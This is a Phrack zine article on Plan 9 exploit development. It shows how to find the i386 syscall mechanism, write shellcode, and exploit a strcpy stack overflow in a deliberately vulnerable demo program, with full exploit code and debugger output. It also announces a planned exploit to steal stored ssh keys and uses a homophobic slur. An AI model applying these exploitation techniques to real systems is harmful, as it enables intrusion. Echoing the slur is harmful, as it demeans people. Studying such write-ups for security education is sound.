                             ==Phrack Inc.==

               Volume 0x0b, Issue 0x3e, Phile #0x09 of 0x0f

|=---------------------=[ Writing Plan9 Shellcode  ]=-------------------=|
|=----------------------------------------------------------------------=|
|=---------------=[ m1lt0n <anonymous@phrack.efnet.ru> ]=---------------=|



Dear Reader,
This article concerns itself with developing plan9 shellcode for use in
exploits. I am not one for lengthy introductions or disclaimers, so I
would like to start right in the middle of the action:

So, we want to figure out the syscall mechanism used by plan9 on i386.
First, lets look for the different syscall numbers. This is a good place
to start:



term% pwd
/sys/src/libc/9syscall
term% cat sys.h
#define	SYSR1		0
#define	_ERRSTR		1
#define	BIND		2
#define	CHDIR		3
#define	CLOSE		4
#define	DUP		5
#define	ALARM		6
#define	EXEC		7
#define	EXITS		8
#define	_FSESSION	9
#define	FAUTH		10
#define	_FSTAT		11
#define	SEGBRK		12
#define	_MOUNT		13
#define	OPEN		14
#define	_READ		15
#define	OSEEK		16
#define	SLEEP		17
#define	_STAT		18
#define	RFORK		19
#define	_WRITE		20
#define	PIPE		21
#define	CREATE		22
#define	FD2PATH		23
#define	BRK_		24
#define	REMOVE		25
#define	_WSTAT		26
#define	_FWSTAT		27
#define	NOTIFY		28
#define	NOTED		29
#define	SEGATTACH	30
#define	SEGDETACH	31
#define	SEGFREE		32
#define	SEGFLUSH	33
#define	RENDEZVOUS	34
#define	UNMOUNT		35
#define	_WAIT		36
#define	SEEK		39
#define	FVERSION	40
#define	ERRSTR	41
#define	STAT	42
#define	FSTAT	43
#define	WSTAT	44
#define	FWSTAT	45
#define	MOUNT	46
#define	AWAIT	47
#define PREAD	50
#define PWRITE	51
term% 

As you can see above, plan9 obviously sucks! What kind of operating system
only has 51 syscalls? I've seen more unique syscalls used in a netric.org
exploit than that! (See esdee read/alarm/dup2/close/open/creat/setitimer
ptrace/mprotect/sbrk/... shellcode for more details).

As I said, let's focus on Intel compatibility for the time being. I'm
planning on writing another article in the future, discussing mechanisms
for exploiting systems such as the AT&T DSP 3210 running Plan9 in the future,
so don't be alarmed if this article seems terribly shortsighted!

First, how do we get shit to compile in plan9?

Contrary to popular belief, programs such as

#include <stdio.h>

int main () { printf ("Hello world!\n"); }

will not compile correctly! Yup, as I mentioned before in the introduction,
this OS is pretty fucking gay, and it pretty much requires you to have a
3-button mouse to do anything!

In fact you get a long error message like below:

term% 8c test.c
/sys/include/stdio.h:79 test.c:1 mixed ansi/old function declaration: vfprintf
/sys/include/stdio.h:80 test.c:1 mixed ansi/old function declaration: vprintf
/sys/include/stdio.h:81 test.c:1 mixed ansi/old function declaration: vsprintf
/sys/include/stdio.h:82 test.c:1 mixed ansi/old function declaration: vsnprintf
/sys/include/stdio.h:83 test.c:1 mixed ansi/old function declaration: vfscanf
term% 

Apparently, there must be some reason for this, since the people that wrote K&R
C also work for Bell Labz.


Since plan9 is so featureless that it doesn't even include a good editor (the
emacs man page is blank, and the vi page links to vi, A PLAN9 MIPS BINARY EMULATOR
WOW), we will be using scp to copy our files from a remote machine!

term% scp root@192.168.0.1:/tmp/crap.c /tmp

!Adding key: proto=pass server=192.168.0.1 service=ssh user=root
password: 
!
term% 


Now let's check out our file:

term% cat crap.c
#include <u.h>
#include <libc.h>


static char shellcode[32];


int
_main ()
{
	void (*myfunc) (void);
	memset (shellcode, 0xcc, sizeof (shellcode));

	myfunc = (void *) shellcode;
	myfunc ();
}
term% 8c crap.c
term% 8l -o crap crap.8
term% ./crap
crap 669: suicide: sys: breakpoint pc=0x00002000
term% 


WOWOW! Local code execution! 

As you can see our elite int3 instruction generated a trap!

Now let's explore some more useful shellcode, which we will use in our remote
factotum exploit (to be published in the future).

Since binary disassembly is so much fun, and because plan9 doesn't come with A
FUCKING USEABLE EDITOR, we will skip the sourcekodez.

Let's look at some random syscalls....

term% acid /bin/ls
/bin/ls:386 plan 9 executable

/sys/lib/acid/port
/sys/lib/acid/386
acid: asm (getpid)
getpid 0x0000716c	SUBL	$0x2c,SP
getpid+0x3 0x0000716f	LEA	b+0x18(SP),AX
getpid+0x7 0x00007173	MOVL	AX,0x0(SP)
getpid+0xa 0x00007176	MOVL	$0x0,0x4(SP)
getpid+0x12 0x0000717e	MOVL	$0x14,AX
getpid+0x17 0x00007183	MOVL	AX,0x8(SP)
getpid+0x1b 0x00007187	CALL	memset(SB)
getpid+0x20 0x0000718c	MOVL	$.string(SB),CX
getpid+0x25 0x00007191	MOVL	CX,0x0(SP)
getpid+0x28 0x00007194	MOVL	$0x0,0x4(SP)
getpid+0x30 0x0000719c	CALL	open(SB)

Because of plan9's cooleliteawesome design, there are like 5 syscalls so we'll
have to check out something more basic like open()...

acid: asm (open)
open 0x0000700f	MOVL	$0xe,AX
open+0x5 0x00007014	INTB	$0x40
open+0x7 0x00007016	RET
close 0x00007017	MOVL	$0x4,AX
acid: 

Cool wow ok! Looks like our interrupt is 0x40 and the syscall number goes in eax.

As you can remember from above, we had:
#define	OPEN		14
of course, 14 == 0xe so we're in business.

Now that we're done debugging we'll want to exit acid with something like this:
acid: quit ()
<stdin>:5: (error) no function quit
acid: exit ()
<stdin>:6: (error) no function exit
acid: fuck
<stdin>:7: (error) fuck used but not set
acid: 
acid: x
<stdin>:9: (error) x used but not set
acid: <stdin>:9: (error) interrupt
acid: 
term% 

OK cool! I was hitting the reset button for about 2 weeks before I figured that
one out!

Let's copy that source code back over.

term% scp root@192.168.0.1:/tmp/crap.c /tmp
term% 

OH OK COOL WOW! I almost forgot another elite feature about plan9, once it's got
my ssh password it stores it for future use, so I can use it just like Eugene
Spafford's world famous "+ +" .rhosts configuration on *.cerias.purdue.edu!

Once we finish writing our remote factotum exploit we will be able to retrieve
all such stored ssh keys!

term% cat crap.c && 8c crap.c && 8l -o crap crap.8
#include <u.h>
#include <libc.h>


static char shellcode[] = "\x31\xc0\xb0\x08\x68\xef\xbe\xad\xde\xcd\x40\x90\xcc";



int
main ()
{
	void (*myfunc) (void);

	myfunc = (void *) shellcode;
	myfunc ();
}
term% 

term% ./crap
term% 


Here's the assembly language that produced this output:

xorl %eax, %eax
movb $0x8, %al
pushl $0xdeadbeef
int $0x40


Let's try out our favorite vulnerable program...

term% cat overflowme.c
#include <u.h>
#include <libc.h>
#include <stdio.h>


void do_it (char *arg);


void
do_it (char *arg)
{
	char buf[16];

	strcpy (buf, arg);
	return;
}


int
main (int argc, char *argv[])
{

	if (argc != 2)
	{
		fprintf (stderr, "Takes 2 arguments, dipshit\n");
		exits (NULL);
	}

	do_it (argv[1]);
	return 0;
}
term% 

term% ./overflowme AAAABBBBCCCCDDDDEEEEFFFFGGGG
overflowme 850: suicide: sys: trap: fault read addr=0x45454545 pc=0x45454545
term% 

UH OH! Somebody call CERT! Not only is this pretty easy but they even tell us
our ret address! Looks like the E's got it...


Let's whip up some exploit code....

#include <u.h>
#include <libc.h>
#include <stdio.h>

#define PROGRAM	"./overflowme"
#define BUF_LEN	20
#define OFFSET	0

char shellcode[] = "\x31\xc0\xb0\x08\x68\xef\xbe\xad\xde\xcd\x40\x90"; 


int
main ()
{
	unsigned long get_sp;
	unsigned long *retaddr;
	char expbuf[BUF_LEN];

	memset (expbuf, 0x41, BUF_LEN);
	memcpy (expbuf, shellcode, strlen (shellcode));
	/* holy shit mad props to solar designer */
	get_sp= (unsigned long) &get_sp;
	get_sp += OFFSET;
	retaddr = (unsigned long *) expbuf;
	retaddr += 4;
	*retaddr = get_sp; 
	printf ("returning to address 0x%.8lx ...\n", get_sp);
	fflush (stdout);
	execl ("./overflowme", "./overflowme", expbuf, NULL);
	exits ("something is wrong.\n");
	return 0;
}

Compile it, and try it...

term% 8c exploit.c && 8l -o exploit exploit.8  && ./exploit
returning to address 0x7fffef90 ...
overflowme 1054: suicide: sys: trap: invalid opcode pc=0x7fffefcc
term% 

There seems like there's some minor problems. Let's debug the exploit and tune
it up.

term% acid -l truss ./exploit
./exploit:386 plan 9 executable

/sys/lib/acid/port
/sys/lib/acid/truss
/sys/lib/acid/386
acid: new()
acid: truss()
brk_(0x00015a38)
.....
pwrite(1, "returning to address 0x7fffef90 ...
", 36, -1)
returning to address 0x7fffef90 ...
	return value: 36
1059: breakpoint	exec+0x5	INTB	$0x40
acid: step()
1059: invalid opcode	0x7fffefcc	no instruction
Notes pending:
	sys: trap: invalid opcode
acid: 

acid: regs ()
PC	0x7fffefcc 0x7fffefcc  ?file?:0
SP	0x7fffef70 ECODE 0x80100371 EFLAG 0x00000282
CS	0x00000023 DS	 0x0000001b SS	0x0000001b
GS	0x0000001b FS	 0x0000001b ES	0x0000001b
TRAP	0x00000006 invalid opcode
AX	0x7fffef9d BX	0x00000001 CX	0x00000000 DX	0x000145a0
DI	0x7fffef71 SI	0x7fffeffc BP	0x00000040
acid: 

We need to search for our shellcode and calculate the offset:

acid: dump(0x7fffefcc,128,"x")
0x7fffefcc: 0xefda 
0x7fffefce: 0x7fff 
0x7fffefd0: 0xefe7 
0x7fffefd2: 0x7fff 
0x7fffefd4: 0x0000 
0x7fffefd6: 0x0000 
0x7fffefd8: 0x0000 
0x7fffefda: 0x2f2e 
0x7fffefdc: 0x766f 
0x7fffefde: 0x7265 
0x7fffefe0: 0x6c66 
0x7fffefe2: 0x776f 
0x7fffefe4: 0x656d 
0x7fffefe6: 0x3100 
0x7fffefe8: 0xb0c0 
0x7fffefea: 0x6808 
0x7fffefec: 0xbeef 
0x7fffefee: 0xdead 
0x7fffeff0: 0x40cd 
0x7fffeff2: 0x4190 
0x7fffeff4: 0x4141 
0x7fffeff6: 0x9041 
0x7fffeff8: 0xffef 
0x7fffeffa: 0x007f 
0x7fffeffc: 0x0000 
0x7fffeffe: 0x0000 
0x7ffff000: <stdin>:11: (error) indir: can't translate address 0x7ffff000
acid: 

This is the key line:
0x7fffefe6: 0x3100 

Note the start of our shellcode... since we dumped in words, take into
consideration little endian ordering, and our shellcode begins at virtual
address 0x7fffefe7.

returning to address 0x7fffef90: 
echo "ibase=16;7FFFEFE7-7FFFEF90"|bc -> 87

so we redefine OFFSET as 87 and try again:

term% 8c exploit.c && 8l -o exploit exploit.8 && ./exploit
returning to address 0x7fffefe7 ...
term% 

Hurray! We have successfully exploited a buffer overflow on the plan9 operating
system! And most importantly, we did the most useful thing possible: we exited
the shell. If you ever gain access to a plan9 box, remember that the smartest
thing you can do is logout. I hope this article has served to demystify some of
the more obscure elements of plan9 exploit development, and has yielded valuable
shellcode to be used in future exploits by plan9 hackers such from northern_/initd
to Dave Presotto.

Cheers, and happy hacking!


- m1lt0n



BIBLIOGRAPHY
------------
1. http://plan9.bell-labs.com/sys/man/index.html


P.S. Sorry about the bibliography, I just flunked my last high school English
class for violating the MLA format.




|=[ EOF ]=---------------------------------------------------------------=|